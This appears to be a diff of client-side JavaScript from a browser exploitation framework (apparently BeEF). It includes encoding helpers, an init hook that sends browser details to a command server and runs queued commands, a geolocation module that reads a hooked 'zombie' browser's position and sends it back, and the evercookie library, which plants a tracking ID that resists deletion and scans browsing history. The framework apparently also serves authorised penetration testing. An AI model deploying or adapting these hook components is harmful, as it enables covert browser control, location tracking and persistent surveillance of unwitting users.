||||
else {
|
||||
utftext += String.fromCharCode((c >> 12) | 224);
|
||||
utftext += String.fromCharCode(((c >> 6) & 63) | 128);
|
||||
utftext += String.fromCharCode((c & 63) | 128);
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
return utftext;
|
||||
},
|
||||
|
||||
utf8_decode : function (utftext) {
|
||||
var string = "";
|
||||
var i = 0;
|
||||
var c = c1 = c2 = 0;
|
||||
|
||||
while ( i < utftext.length ) {
|
||||
|
||||
c = utftext.charCodeAt(i);
|
||||
|
||||
if (c < 128) {
|
||||
string += String.fromCharCode(c);
|
||||
i++;
|
||||
}
|
||||
else if((c > 191) && (c < 224)) {
|
||||
c2 = utftext.charCodeAt(i+1);
|
||||
string += String.fromCharCode(((c & 31) << 6) | (c2 & 63));
|
||||
i += 2;
|
||||
}
|
||||
else {
|
||||
c2 = utftext.charCodeAt(i+1);
|
||||
c3 = utftext.charCodeAt(i+2);
|
||||
string += String.fromCharCode(((c & 15) << 12) | ((c2 & 63) << 6) | (c3 & 63));
|
||||
i += 3;
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
return string;
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
beef.regCmp('beef.encode.base64');
|
||||
119
core/main/client/encode/json.js
Normal file
119
core/main/client/encode/json.js
Normal file
@@ -0,0 +1,119 @@
|
||||
// Json code from Brantlye Harris-- http://code.google.com/p/jquery-json/
|
||||
|
||||
beef.encode.json = {
|
||||
|
||||
stringify: function(o) {
|
||||
if (typeof(JSON) == 'object' && JSON.stringify)
|
||||
return JSON.stringify(o);
|
||||
|
||||
var type = typeof(o);
|
||||
|
||||
if (o === null)
|
||||
return "null";
|
||||
|
||||
if (type == "undefined")
|
||||
return '\"\"';
|
||||
|
||||
if (type == "number" || type == "boolean")
|
||||
return o + "";
|
||||
|
||||
if (type == "string")
|
||||
return $j.quoteString(o);
|
||||
|
||||
if (type == 'object')
|
||||
{
|
||||
if (typeof o.toJSON == "function")
|
||||
return $j.toJSON( o.toJSON() );
|
||||
|
||||
if (o.constructor === Date)
|
||||
{
|
||||
var month = o.getUTCMonth() + 1;
|
||||
if (month < 10) month = '0' + month;
|
||||
|
||||
var day = o.getUTCDate();
|
||||
if (day < 10) day = '0' + day;
|
||||
|
||||
var year = o.getUTCFullYear();
|
||||
|
||||
var hours = o.getUTCHours();
|
||||
if (hours < 10) hours = '0' + hours;
|
||||
|
||||
var minutes = o.getUTCMinutes();
|
||||
if (minutes < 10) minutes = '0' + minutes;
|
||||
|
||||
var seconds = o.getUTCSeconds();
|
||||
if (seconds < 10) seconds = '0' + seconds;
|
||||
|
||||
var milli = o.getUTCMilliseconds();
|
||||
if (milli < 100) milli = '0' + milli;
|
||||
if (milli < 10) milli = '0' + milli;
|
||||
|
||||
return '"' + year + '-' + month + '-' + day + 'T' +
|
||||
hours + ':' + minutes + ':' + seconds +
|
||||
'.' + milli + 'Z"';
|
||||
}
|
||||
|
||||
if (o.constructor === Array)
|
||||
{
|
||||
var ret = [];
|
||||
for (var i = 0; i < o.length; i++)
|
||||
ret.push( $j.toJSON(o[i]) || "null" );
|
||||
|
||||
return "[" + ret.join(",") + "]";
|
||||
}
|
||||
|
||||
var pairs = [];
|
||||
for (var k in o) {
|
||||
var name;
|
||||
var type = typeof k;
|
||||
|
||||
if (type == "number")
|
||||
name = '"' + k + '"';
|
||||
else if (type == "string")
|
||||
name = $j.quoteString(k);
|
||||
else
|
||||
continue; //skip non-string or number keys
|
||||
|
||||
if (typeof o[k] == "function")
|
||||
continue; //skip pairs where the value is a function.
|
||||
|
||||
var val = $j.toJSON(o[k]);
|
||||
|
||||
pairs.push(name + ":" + val);
|
||||
}
|
||||
|
||||
return "{" + pairs.join(", ") + "}";
|
||||
}
|
||||
},
|
||||
|
||||
quoteString: function(string) {
|
||||
if (string.match(this._escapeable))
|
||||
{
|
||||
return '"' + string.replace(this._escapeable, function (a)
|
||||
{
|
||||
var c = this._meta[a];
|
||||
if (typeof c === 'string') return c;
|
||||
c = a.charCodeAt();
|
||||
return '\\u00' + Math.floor(c / 16).toString(16) + (c % 16).toString(16);
|
||||
}) + '"';
|
||||
}
|
||||
return '"' + string + '"';
|
||||
},
|
||||
|
||||
_escapeable: /["\\\x00-\x1f\x7f-\x9f]/g,
|
||||
|
||||
_meta : {
|
||||
'\b': '\\b',
|
||||
'\t': '\\t',
|
||||
'\n': '\\n',
|
||||
'\f': '\\f',
|
||||
'\r': '\\r',
|
||||
'"' : '\\"',
|
||||
'\\': '\\\\'
|
||||
}
|
||||
}
|
||||
|
||||
$j.toJSON = function(o) {return beef.encode.json.stringify(o);}
|
||||
$j.quoteString = function(o) {return beef.encode.json.quoteString(o);}
|
||||
|
||||
beef.regCmp('beef.encode.json');
|
||||
94
core/main/client/geolocation.js
Normal file
94
core/main/client/geolocation.js
Normal file
@@ -0,0 +1,94 @@
|
||||
/*!
|
||||
* @literal object: beef.geolocation
|
||||
*
|
||||
* Provides functionalities to use the geolocation API.
|
||||
*/
|
||||
beef.geolocation = {
|
||||
|
||||
/**
|
||||
* check if browser supports the geolocation API
|
||||
*/
|
||||
isGeolocationEnabled: function(){
|
||||
return !!navigator.geolocation;
|
||||
},
|
||||
|
||||
/*
|
||||
* given latitude/longitude retrieves exact street position of the zombie
|
||||
*/
|
||||
getOpenStreetMapAddress: function(command_url, command_id, latitude, longitude){
|
||||
|
||||
// fixes damned issues with jquery 1.5, like this one:
|
||||
// http://bugs.jquery.com/ticket/8084
|
||||
$j.ajaxSetup({
|
||||
jsonp: null,
|
||||
jsonpCallback: null
|
||||
});
|
||||
|
||||
$j.ajax({
|
||||
error: function(xhr, status, error){
|
||||
//console.log("[geolocation.js] openstreetmap error");
|
||||
beef.net.send(command_url, command_id, "latitude=" + latitude
|
||||
+ "&longitude=" + longitude
|
||||
+ "&osm=UNAVAILABLE"
|
||||
+ "&geoLocEnabled=True");
|
||||
},
|
||||
success: function(data, status, xhr){
|
||||
//console.log("[geolocation.js] openstreetmap success");
|
||||
var jsonResp = $j.parseJSON(data);
|
||||
|
||||
beef.net.send(command_url, command_id, "latitude=" + latitude
|
||||
+ "&longitude=" + longitude
|
||||
// + "&osm=" + encodeURI(jsonResp.display_name)
|
||||
+ "&osm=tofix"
|
||||
+ "&geoLocEnabled=True");
|
||||
},
|
||||
type: "get",
|
||||
url: "http://nominatim.openstreetmap.org/reverse?format=json&lat=" +
|
||||
latitude + "&lon=" + longitude + "&zoom=18&addressdetails=1"
|
||||
});
|
||||
|
||||
},
|
||||
|
||||
/*
|
||||
* retrieve latitude/longitude using the geolocation API
|
||||
*/
|
||||
getGeolocation: function (command_url, command_id){
|
||||
|
||||
if (!navigator.geolocation) {
|
||||
beef.net.send(command_url, command_id, "latitude=NOT_ENABLED&longitude=NOT_ENABLED&geoLocEnabled=False");
|
||||
return;
|
||||
}
|
||||
//console.log("[geolocation.js] navigator.geolocation.getCurrentPosition");
|
||||
navigator.geolocation.getCurrentPosition( //note: this is an async call
|
||||
function(position){ // success
|
||||
var latitude = position.coords.latitude;
|
||||
var longitude = position.coords.longitude;
|
||||
//console.log("[geolocation.js] success getting position. latitude [%d], longitude [%d]", latitude, longitude);
|
||||
beef.geolocation.getOpenStreetMapAddress(command_url, command_id, latitude, longitude);
|
||||
|
||||
}, function(error){ // failure
|
||||
//console.log("[geolocation.js] error [%d] getting position", error.code);
|
||||
switch(error.code) // Returns 0-3
|
||||
{
|
||||
case 0:
|
||||
beef.net.send(command_url, command_id, "latitude=UNKNOWN_ERROR&longitude=UNKNOWN_ERROR&geoLocEnabled=False");
|
||||
return;
|
||||
case 1:
|
||||
beef.net.send(command_url, command_id, "latitude=PERMISSION_DENIED&longitude=PERMISSION_DENIED&geoLocEnabled=False");
|
||||
return;
|
||||
case 2:
|
||||
beef.net.send(command_url, command_id, "latitude=POSITION_UNAVAILABLE&longitude=POSITION_UNAVAILABLE&geoLocEnabled=False");
|
||||
return;
|
||||
case 3:
|
||||
beef.net.send(command_url, command_id, "latitude=TIMEOUT&longitude=TIMEOUT&geoLocEnabled=False");
|
||||
return;
|
||||
}
|
||||
beef.net.send(command_url, command_id, "latitude=UNKNOWN_ERROR&longitude=UNKNOWN_ERROR&geoLocEnabled=False");
|
||||
},
|
||||
{enableHighAccuracy:true, maximumAge:30000, timeout:27000}
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
beef.regCmp('beef.geolocation');
|
||||
24
core/main/client/init.js
Normal file
24
core/main/client/init.js
Normal file
@@ -0,0 +1,24 @@
|
||||
|
||||
// if beef.pageIsLoaded is true, then this JS has been loaded >1 times
|
||||
// and will have a new session id. The new session id will need to know
|
||||
// the brwoser details. So sendback the browser details again.
|
||||
|
||||
BEEFHOOK=beef.session.get_hook_session_id()
|
||||
|
||||
if( beef.pageIsLoaded ) {
|
||||
beef.net.browser_details();
|
||||
}
|
||||
|
||||
window.onload = function() {
|
||||
beef_init();
|
||||
}
|
||||
|
||||
function beef_init() {
|
||||
if (!beef.pageIsLoaded) {
|
||||
beef.pageIsLoaded = true;
|
||||
beef.net.browser_details()
|
||||
beef.updater.execute_commands();
|
||||
beef.updater.check();
|
||||
beef.logger.start();
|
||||
}
|
||||
}
|
||||
977
core/main/client/lib/evercookie.js
Normal file
977
core/main/client/lib/evercookie.js
Normal file
@@ -0,0 +1,977 @@
|
||||
/*
|
||||
* evercookie 0.4 (10/13/2010) -- extremely persistent cookies
|
||||
*
|
||||
* by samy kamkar : code@samy.pl : http://samy.pl
|
||||
*
|
||||
* this api attempts to produce several types of persistent data
|
||||
* to essentially make a cookie virtually irrevocable from a system
|
||||
*
|
||||
* specifically it uses:
|
||||
* - standard http cookies
|
||||
* - flash cookies (local shared objects)
|
||||
* - silverlight isolated storage
|
||||
* - png generation w/forced cache and html5 canvas pixel reading
|
||||
* - http etags
|
||||
* - http cache
|
||||
* - window.name
|
||||
* - IE userData
|
||||
* - html5 session cookies
|
||||
* - html5 local storage
|
||||
* - html5 global storage
|
||||
* - html5 database storage via sqlite
|
||||
* - css history scanning
|
||||
*
|
||||
* if any cookie is found, it's then reset to all the other locations
|
||||
* for example, if someone deletes all but one type of cookie, once
|
||||
* that cookie is re-discovered, all of the other cookie types get reset
|
||||
*
|
||||
* !!! SOME OF THESE ARE CROSS-DOMAIN COOKIES, THIS MEANS
|
||||
* OTHER SITES WILL BE ABLE TO READ SOME OF THESE COOKIES !!!
|
||||
*
|
||||
* USAGE:
|
||||
|
||||
var ec = new evercookie();
|
||||
|
||||
// set a cookie "id" to "12345"
|
||||
// usage: ec.set(key, value)
|
||||
ec.set("id", "12345");
|
||||
|
||||
// retrieve a cookie called "id" (simply)
|
||||
ec.get("id", function(value) { alert("Cookie value is " + value) });
|
||||
|
||||
// or use a more advanced callback function for getting our cookie
|
||||
// the cookie value is the first param
|
||||
// an object containing the different storage methods
|
||||
// and returned cookie values is the second parameter
|
||||
function getCookie(best_candidate, all_candidates)
|
||||
{
|
||||
alert("The retrieved cookie is: " + best_candidate + "\n" +
|
||||
"You can see what each storage mechanism returned " +
|
||||
"by looping through the all_candidates object.");
|
||||
|
||||
for (var item in all_candidates)
|
||||
document.write("Storage mechanism " + item +
|
||||
" returned " + all_candidates[item] + " votes<br>");
|
||||
}
|
||||
ec.get("id", getCookie);
|
||||
|
||||
// we look for "candidates" based off the number of "cookies" that
|
||||
// come back matching since it's possible for mismatching cookies.
|
||||
// the best candidate is very-very-likely the correct one
|
||||
|
||||
*/
|
||||
|
||||
/* to turn off CSS history knocking, set _ec_history to 0 */
|
||||
var _ec_history = 1; // CSS history knocking or not .. can be network intensive
|
||||
var _ec_tests = 10;//1000;
|
||||
var _ec_debug = 0;
|
||||
|
||||
function _ec_dump(arr, level)
|
||||
{
|
||||
var dumped_text = "";
|
||||
if(!level) level = 0;
|
||||
|
||||
//The padding given at the beginning of the line.
|
||||
var level_padding = "";
|
||||
for(var j=0;j<level+1;j++) level_padding += " ";
|
||||
|
||||
if(typeof(arr) == 'object') { //Array/Hashes/Objects
|
||||
for(var item in arr) {
|
||||
var value = arr[item];
|
||||
|
||||
if(typeof(value) == 'object') { //If it is an array,
|
||||
dumped_text += level_padding + "'" + item + "' ...\n";
|
||||
dumped_text += _ec_dump(value,level+1);
|
||||
} else {
|
||||
dumped_text += level_padding + "'" + item + "' => \"" + value + "\"\n";
|
||||
}
|
||||
}
|
||||
} else { //Stings/Chars/Numbers etc.
|
||||
dumped_text = "===>"+arr+"<===("+typeof(arr)+")";
|
||||
}
|
||||
return dumped_text;
|
||||
}
|
||||
|
||||
function _ec_replace(str, key, value)
|
||||
{
|
||||
if (str.indexOf('&' + key + '=') > -1 || str.indexOf(key + '=') == 0)
|
||||
{
|
||||
// find start
|
||||
var idx = str.indexOf('&' + key + '=');
|
||||
if (idx == -1)
|
||||
idx = str.indexOf(key + '=');
|
||||
|
||||
// find end
|
||||
var end = str.indexOf('&', idx + 1);
|
||||
var newstr;
|
||||
if (end != -1)
|
||||
newstr = str.substr(0, idx) + str.substr(end + (idx ? 0 : 1)) + '&' + key + '=' + value;
|
||||
else
|
||||
newstr = str.substr(0, idx) + '&' + key + '=' + value;
|
||||
|
||||
return newstr;
|
||||
}
|
||||
else
|
||||
return str + '&' + key + '=' + value;
|
||||
}
|
||||
|
||||
|
||||
// necessary for flash to communicate with js...
|
||||
// please implement a better way
|
||||
var _global_lso;
|
||||
function _evercookie_flash_var(cookie)
|
||||
{
|
||||
_global_lso = cookie;
|
||||
|
||||
// remove the flash object now
|
||||
var swf = $('#myswf');
|
||||
if (swf && swf.parentNode)
|
||||
swf.parentNode.removeChild(swf);
|
||||
}
|
||||
|
||||
var evercookie = (function () {
|
||||
this._class = function() {
|
||||
|
||||
var self = this;
|
||||
// private property
|
||||
_baseKeyStr = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
|
||||
this._ec = {};
|
||||
var no_color = -1;
|
||||
|
||||
this.get = function(name, cb, dont_reset)
|
||||
{
|
||||
$(document).ready(function() {
|
||||
self._evercookie(name, cb, undefined, undefined, dont_reset);
|
||||
});
|
||||
}
|
||||
|
||||
this.set = function(name, value)
|
||||
{
|
||||
$(document).ready(function() {
|
||||
self._evercookie(name, function() { }, value);
|
||||
});
|
||||
}
|
||||
|
||||
this._evercookie = function(name, cb, value, i, dont_reset)
|
||||
{
|
||||
if (typeof self._evercookie == 'undefined')
|
||||
self = this;
|
||||
|
||||
if (typeof i == 'undefined')
|
||||
i = 0;
|
||||
|
||||
// first run
|
||||
if (i == 0)
|
||||
{
|
||||
self.evercookie_database_storage(name, value);
|
||||
self.evercookie_png(name, value);
|
||||
self.evercookie_etag(name, value);
|
||||
self.evercookie_cache(name, value);
|
||||
self.evercookie_lso(name, value);
|
||||
self.evercookie_silverlight(name, value);
|
||||
|
||||
self._ec.userData = self.evercookie_userdata(name, value);
|
||||
self._ec.cookieData = self.evercookie_cookie(name, value);
|
||||
self._ec.localData = self.evercookie_local_storage(name, value);
|
||||
self._ec.globalData = self.evercookie_global_storage(name, value);
|
||||
self._ec.sessionData = self.evercookie_session_storage(name, value);
|
||||
self._ec.windowData = self.evercookie_window(name, value);
|
||||
|
||||
if (_ec_history)
|
||||
self._ec.historyData = self.evercookie_history(name, value);
|
||||
}
|
||||
|
||||
// when writing data, we need to make sure lso and silverlight object is there
|
||||
if (typeof value != 'undefined')
|
||||
{
|
||||
if (
|
||||
(
|
||||
(typeof _global_lso == 'undefined') ||
|
||||
(typeof _global_isolated == 'undefined')
|
||||
)
|
||||
&& i++ < _ec_tests
|
||||
)
|
||||
setTimeout(function() { self._evercookie(name, cb, value, i, dont_reset) }, 300);
|
||||
}
|
||||
|
||||
// when reading data, we need to wait for swf, db, silverlight and png
|
||||
else
|
||||
{
|
||||
if (
|
||||
(
|
||||
// we support local db and haven't read data in yet
|
||||
(window.openDatabase && typeof self._ec.dbData == 'undefined') ||
|
||||
(typeof _global_lso == 'undefined') ||
|
||||
(typeof self._ec.etagData == 'undefined') ||
|
||||
(typeof self._ec.cacheData == 'undefined') ||
|
||||
(document.createElement('canvas').getContext && (typeof self._ec.pngData == 'undefined' || self._ec.pngData == '')) ||
|
||||
(typeof _global_isolated == 'undefined')
|
||||
)
|
||||
&&
|
||||
i++ < _ec_tests
|
||||
)
|
||||
{
|
||||
setTimeout(function() { self._evercookie(name, cb, value, i, dont_reset) }, 300);
|
||||
}
|
||||
|
||||
// we hit our max wait time or got all our data
|
||||
else
|
||||
{
|
||||
// get just the piece of data we need from swf
|
||||
self._ec.lsoData = self.getFromStr(name, _global_lso);
|
||||
_global_lso = undefined;
|
||||
|
||||
// get just the piece of data we need from silverlight
|
||||
self._ec.slData = self.getFromStr(name, _global_isolated);
|
||||
_global_isolated = undefined;
|
||||
|
||||
var tmpec = self._ec;
|
||||
self._ec = {};
|
||||
|
||||
// figure out which is the best candidate
|
||||
var candidates = new Array();
|
||||
var bestnum = 0;
|
||||
var candidate;
|
||||
for (var item in tmpec)
|
||||
{
|
||||
if (typeof tmpec[item] != 'undefined' && typeof tmpec[item] != 'null' && tmpec[item] != '' &&
|
||||
tmpec[item] != 'null' && tmpec[item] != 'undefined' && tmpec[item] != null)
|
||||
{
|
||||
candidates[tmpec[item]] = typeof candidates[tmpec[item]] == 'undefined' ? 1 : candidates[tmpec[item]] + 1;
|
||||
}
|
||||
}
|
||||
|
||||
for (var item in candidates)
|
||||
{
|
||||
if (candidates[item] > bestnum)
|
||||
{
|
||||
bestnum = candidates[item];
|
||||
candidate = item;
|
||||
}
|
||||
}
|
||||
|
||||
// reset cookie everywhere
|
||||
if (typeof dont_reset == "undefined" || dont_reset != 1)
|
||||
self.set(name, candidate);
|
||||
|
||||
if (typeof cb == 'function')
|
||||
cb(candidate, tmpec);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
this.evercookie_window = function(name, value)
|
||||
{
|
||||
try {
|
||||
if (typeof(value) != "undefined")
|
||||
window.name = _ec_replace(window.name, name, value);
|
||||
else
|
||||
return this.getFromStr(name, window.name);
|
||||
} catch(e) { }
|
||||
}
|
||||
|
||||
this.evercookie_userdata = function(name, value)
|
||||
{
|
||||
try {
|
||||
var elm = this.createElem('div', 'userdata_el', 1);
|
||||
elm.style.behavior = "url(#default#userData)";
|
||||
|
||||
if (typeof(value) != "undefined")
|
||||
{
|
||||
elm.setAttribute(name, value);
|
||||
elm.save(name);
|
||||
}
|
||||
else
|
||||
{
|
||||
elm.load(name);
|
||||
return elm.getAttribute(name);
|
||||
}
|
||||
} catch(e) { }
|
||||
}
|
||||
|
||||
this.evercookie_cache = function(name, value)
|
||||
{
|
||||
if (typeof(value) != "undefined")
|
||||
{
|
||||
// make sure we have evercookie session defined first
|
||||
document.cookie = 'evercookie_cache=' + value;
|
||||
|
||||
// evercookie_cache.php handles caching
|
||||
var img = new Image();
|
||||
img.style.visibility = 'hidden';
|
||||
img.style.position = 'absolute';
|
||||
img.src = 'evercookie_cache.php?name=' + name;
|
||||
}
|
||||
else
|
||||
{
|
||||
// interestingly enough, we want to erase our evercookie
|
||||
// http cookie so the php will force a cached response
|
||||
var origvalue = this.getFromStr('evercookie_cache', document.cookie);
|
||||
self._ec.cacheData = undefined;
|
||||
document.cookie = 'evercookie_cache=; expires=Mon, 20 Sep 2010 00:00:00 UTC; path=/';
|
||||
|
||||
$.ajax({
|
||||
url: 'evercookie_cache.php?name=' + name,
|
||||
success: function(data) {
|
||||
// put our cookie back
|
||||
document.cookie = 'evercookie_cache=' + origvalue + '; expires=Tue, 31 Dec 2030 00:00:00 UTC; path=/';
|
||||
|
||||
self._ec.cacheData = data;
|
||||
}
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
this.evercookie_etag = function(name, value)
|
||||
{
|
||||
if (typeof(value) != "undefined")
|
||||
{
|
||||
// make sure we have evercookie session defined first
|
||||
document.cookie = 'evercookie_etag=' + value;
|
||||
|
||||
// evercookie_etag.php handles etagging
|
||||
var img = new Image();
|
||||
img.style.visibility = 'hidden';
|
||||
img.style.position = 'absolute';
|
||||
img.src = 'evercookie_etag.php?name=' + name;
|
||||
}
|
||||
else
|
||||
{
|
||||
// interestingly enough, we want to erase our evercookie
|
||||
// http cookie so the php will force a cached response
|
||||
var origvalue = this.getFromStr('evercookie_etag', document.cookie);
|
||||
self._ec.etagData = undefined;
|
||||
document.cookie = 'evercookie_etag=; expires=Mon, 20 Sep 2010 00:00:00 UTC; path=/';
|
||||
|
||||
$.ajax({
|
||||
url: 'evercookie_etag.php?name=' + name,
|
||||
success: function(data) {
|
||||
// put our cookie back
|
||||
document.cookie = 'evercookie_etag=' + origvalue + '; expires=Tue, 31 Dec 2030 00:00:00 UTC; path=/';
|
||||
|
||||
self._ec.etagData = data;
|
||||
}
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
this.evercookie_lso = function(name, value)
|
||||
{
|
||||
var div = document.getElementById('swfcontainer');
|
||||
if (!div)
|
||||
{
|
||||
div = document.createElement("div");
|
||||
div.setAttribute('id', 'swfcontainer');
|
||||
document.body.appendChild(div);
|
||||
}
|
||||
|
||||
var flashvars = {};
|
||||
if (typeof value != 'undefined')
|
||||
flashvars.everdata = name + '=' + value;
|
||||
|
||||
var params = {};
|
||||
params.swliveconnect = "true";
|
||||
var attributes = {};
|
||||
attributes.id = "myswf";
|
||||
attributes.name = "myswf";
|
||||
swfobject.embedSWF("evercookie.swf", "swfcontainer", "1", "1", "9.0.0", false, flashvars, params, attributes);
|
||||
}
|
||||
|
||||
this.evercookie_png = function(name, value)
|
||||
{
|
||||
if (document.createElement('canvas').getContext)
|
||||
{
|
||||
if (typeof(value) != "undefined")
|
||||
{
|
||||
// make sure we have evercookie session defined first
|
||||
document.cookie = 'evercookie_png=' + value;
|
||||
|
||||
// evercookie_png.php handles the hard part of generating the image
|
||||
// based off of the http cookie and returning it cached
|
||||
var img = new Image();
|
||||
img.style.visibility = 'hidden';
|
||||
img.style.position = 'absolute';
|
||||
img.src = 'evercookie_png.php?name=' + name;
|
||||
}
|
||||
else
|
||||
{
|
||||
self._ec.pngData = undefined;
|
||||
var context = document.createElement('canvas');
|
||||
context.style.visibility = 'hidden';
|
||||
context.style.position = 'absolute';
|
||||
context.width = 200;
|
||||
context.height = 1;
|
||||
var ctx = context.getContext('2d');
|
||||
|
||||
// interestingly enough, we want to erase our evercookie
|
||||
// http cookie so the php will force a cached response
|
||||
var origvalue = this.getFromStr('evercookie_png', document.cookie);
|
||||
document.cookie = 'evercookie_png=; expires=Mon, 20 Sep 2010 00:00:00 UTC; path=/';
|
||||
|
||||
var img = new Image();
|
||||
img.style.visibility = 'hidden';
|
||||
img.style.position = 'absolute';
|
||||
img.src = 'evercookie_png.php?name=' + name;
|
||||
|
||||
img.onload = function()
|
||||
{
|
||||
// put our cookie back
|
||||
document.cookie = 'evercookie_png=' + origvalue + '; expires=Tue, 31 Dec 2030 00:00:00 UTC; path=/';
|
||||
|
||||
self._ec.pngData = '';
|
||||
ctx.drawImage(img,0,0);
|
||||
|
||||
// get CanvasPixelArray from given coordinates and dimensions
|
||||
var imgd = ctx.getImageData(0, 0, 200, 1);
|
||||
var pix = imgd.data;
|
||||
|
||||
// loop over each pixel to get the "RGB" values (ignore alpha)
|
||||
for (var i = 0, n = pix.length; i < n; i += 4)
|
||||
{
|
||||
if (pix[i ] == 0) break;
|
||||
self._ec.pngData += String.fromCharCode(pix[i]);
|
||||
if (pix[i+1] == 0) break;
|
||||
self._ec.pngData += String.fromCharCode(pix[i+1]);
|
||||
if (pix[i+2] == 0) break;
|
||||
self._ec.pngData += String.fromCharCode(pix[i+2]);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
this.evercookie_local_storage = function(name, value)
|
||||
{
|
||||
try
|
||||
{
|
||||
if (window.localStorage)
|
||||
{
|
||||
if (typeof(value) != "undefined")
|
||||
localStorage.setItem(name, value);
|
||||
else
|
||||
return localStorage.getItem(name);
|
||||
}
|
||||
}
|
||||
catch (e) { }
|
||||
}
|
||||
|
||||
this.evercookie_database_storage = function(name, value)
|
||||
{
|
||||
try
|
||||
{
|
||||
if (window.openDatabase)
|
||||
{
|
||||
var database = window.openDatabase("sqlite_evercookie", "", "evercookie", 1024 * 1024);
|
||||
|
||||
if (typeof(value) != "undefined")
|
||||
database.transaction(function(tx)
|
||||
{
|
||||
tx.executeSql("CREATE TABLE IF NOT EXISTS cache(" +
|
||||
"id INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT, " +
|
||||
"name TEXT NOT NULL, " +
|
||||
"value TEXT NOT NULL, " +
|
||||
"UNIQUE (name)" +
|
||||
")", [], function (tx, rs) { }, function (tx, err) { });
|
||||
|
||||
tx.executeSql("INSERT OR REPLACE INTO cache(name, value) VALUES(?, ?)", [name, value],
|
||||
function (tx, rs) { }, function (tx, err) { })
|
||||
});
|
||||
else
|
||||
{
|
||||
database.transaction(function(tx)
|
||||
{
|
||||
tx.executeSql("SELECT value FROM cache WHERE name=?", [name],
|
||||
function(tx, result1) {
|
||||
if (result1.rows.length >= 1)
|
||||
self._ec.dbData = result1.rows.item(0)['value'];
|
||||
else
|
||||
self._ec.dbData = '';
|
||||
}, function (tx, err) { })
|
||||
});
|
||||
}
|
||||
}
|
||||
} catch(e) { }
|
||||
}
|
||||
|
||||
this.evercookie_session_storage = function(name, value)
|
||||
{
|
||||
try
|
||||
{
|
||||
if (window.sessionStorage)
|
||||
{
|
||||
if (typeof(value) != "undefined")
|
||||
sessionStorage.setItem(name, value);
|
||||
else
|
||||
return sessionStorage.getItem(name);
|
||||
}
|
||||
} catch(e) { }
|
||||
}
|
||||
|
||||
this.evercookie_global_storage = function(name, value)
|
||||
{
|
||||
if (window.globalStorage)
|
||||
{
|
||||
var host = this.getHost();
|
||||
|
||||
try
|
||||
{
|
||||
if (typeof(value) != "undefined")
|
||||
eval("globalStorage[host]." + name + " = value");
|
||||
else
|
||||
return eval("globalStorage[host]." + name);
|
||||
} catch(e) { }
|
||||
}
|
||||
}
|
||||
this.evercookie_silverlight = function(name, value) {
|
||||
/*
|
||||
* Create silverlight embed
|
||||
*
|
||||
* Ok. so, I tried doing this the proper dom way, but IE chokes on appending anything in object tags (including params), so this
|
||||
* is the best method I found. Someone really needs to find a less hack-ish way. I hate the look of this shit.
|
||||
*/
|
||||
var source = "evercookie.xap";
|
||||
var minver = "4.0.50401.0";
|
||||
|
||||
var initParam = "";
|
||||
if(typeof(value) != "undefined")
|
||||
initParam = '<param name="initParams" value="'+name+'='+value+'" />';
|
||||
|
||||
var html =
|
||||
'<object data="data:application/x-silverlight-2," type="application/x-silverlight-2" id="mysilverlight" width="0" height="0">' +
|
||||
initParam +
|
||||
'<param name="source" value="'+source+'"/>' +
|
||||
'<param name="onLoad" value="onSilverlightLoad"/>' +
|
||||
'<param name="onError" value="onSilverlightError"/>' +
|
||||
'<param name="background" value="Transparent"/>' +
|
||||
'<param name="windowless" value="true"/>' +
|
||||
'<param name="minRuntimeVersion" value="'+minver+'"/>' +
|
||||
'<param name="autoUpgrade" value="true"/>' +
|
||||
'<a href="http://go.microsoft.com/fwlink/?LinkID=149156&v='+minver+'" style="text-decoration:none">' +
|
||||
'<img src="http://go.microsoft.com/fwlink/?LinkId=108181" alt="Get Microsoft Silverlight" style="border-style:none"/>' +
|
||||
'</a>' +
|
||||
'</object>';
|
||||
document.body.innerHTML+=html;
|
||||
}
|
||||
|
||||
// public method for encoding
|
||||
this.encode = function (input) {
|
||||
var output = "";
|
||||
var chr1, chr2, chr3, enc1, enc2, enc3, enc4;
|
||||
var i = 0;
|
||||
|
||||
input = this._utf8_encode(input);
|
||||
|
||||
while (i < input.length) {
|
||||
|
||||
chr1 = input.charCodeAt(i++);
|
||||
chr2 = input.charCodeAt(i++);
|
||||
chr3 = input.charCodeAt(i++);
|
||||
|
||||
enc1 = chr1 >> 2;
|
||||
enc2 = ((chr1 & 3) << 4) | (chr2 >> 4);
|
||||
enc3 = ((chr2 & 15) << 2) | (chr3 >> 6);
|
||||
enc4 = chr3 & 63;
|
||||
|
||||
if (isNaN(chr2)) {
|
||||
enc3 = enc4 = 64;
|
||||
} else if (isNaN(chr3)) {
|
||||
enc4 = 64;
|
||||
}
|
||||
|
||||
output = output +
|
||||
_baseKeyStr.charAt(enc1) + _baseKeyStr.charAt(enc2) +
|
||||
_baseKeyStr.charAt(enc3) + _baseKeyStr.charAt(enc4);
|
||||
|
||||
}
|
||||
|
||||
return output;
|
||||
}
|
||||
|
||||
// public method for decoding
|
||||
this.decode = function (input) {
|
||||
var output = "";
|
||||
var chr1, chr2, chr3;
|
||||
var enc1, enc2, enc3, enc4;
|
||||
var i = 0;
|
||||
|
||||
input = input.replace(/[^A-Za-z0-9\+\/\=]/g, "");
|
||||
|
||||
while (i < input.length) {
|
||||
enc1 = _baseKeyStr.indexOf(input.charAt(i++));
|
||||
enc2 = _baseKeyStr.indexOf(input.charAt(i++));
|
||||
enc3 = _baseKeyStr.indexOf(input.charAt(i++));
|
||||
enc4 = _baseKeyStr.indexOf(input.charAt(i++));
|
||||
|
||||
chr1 = (enc1 << 2) | (enc2 >> 4);
|
||||
chr2 = ((enc2 & 15) << 4) | (enc3 >> 2);
|
||||
chr3 = ((enc3 & 3) << 6) | enc4;
|
||||
|
||||
output = output + String.fromCharCode(chr1);
|
||||
|
||||
if (enc3 != 64) {
|
||||
output = output + String.fromCharCode(chr2);
|
||||
}
|
||||
if (enc4 != 64) {
|
||||
output = output + String.fromCharCode(chr3);
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
output = this._utf8_decode(output);
|
||||
|
||||
return output;
|
||||
|
||||
}
|
||||
|
||||
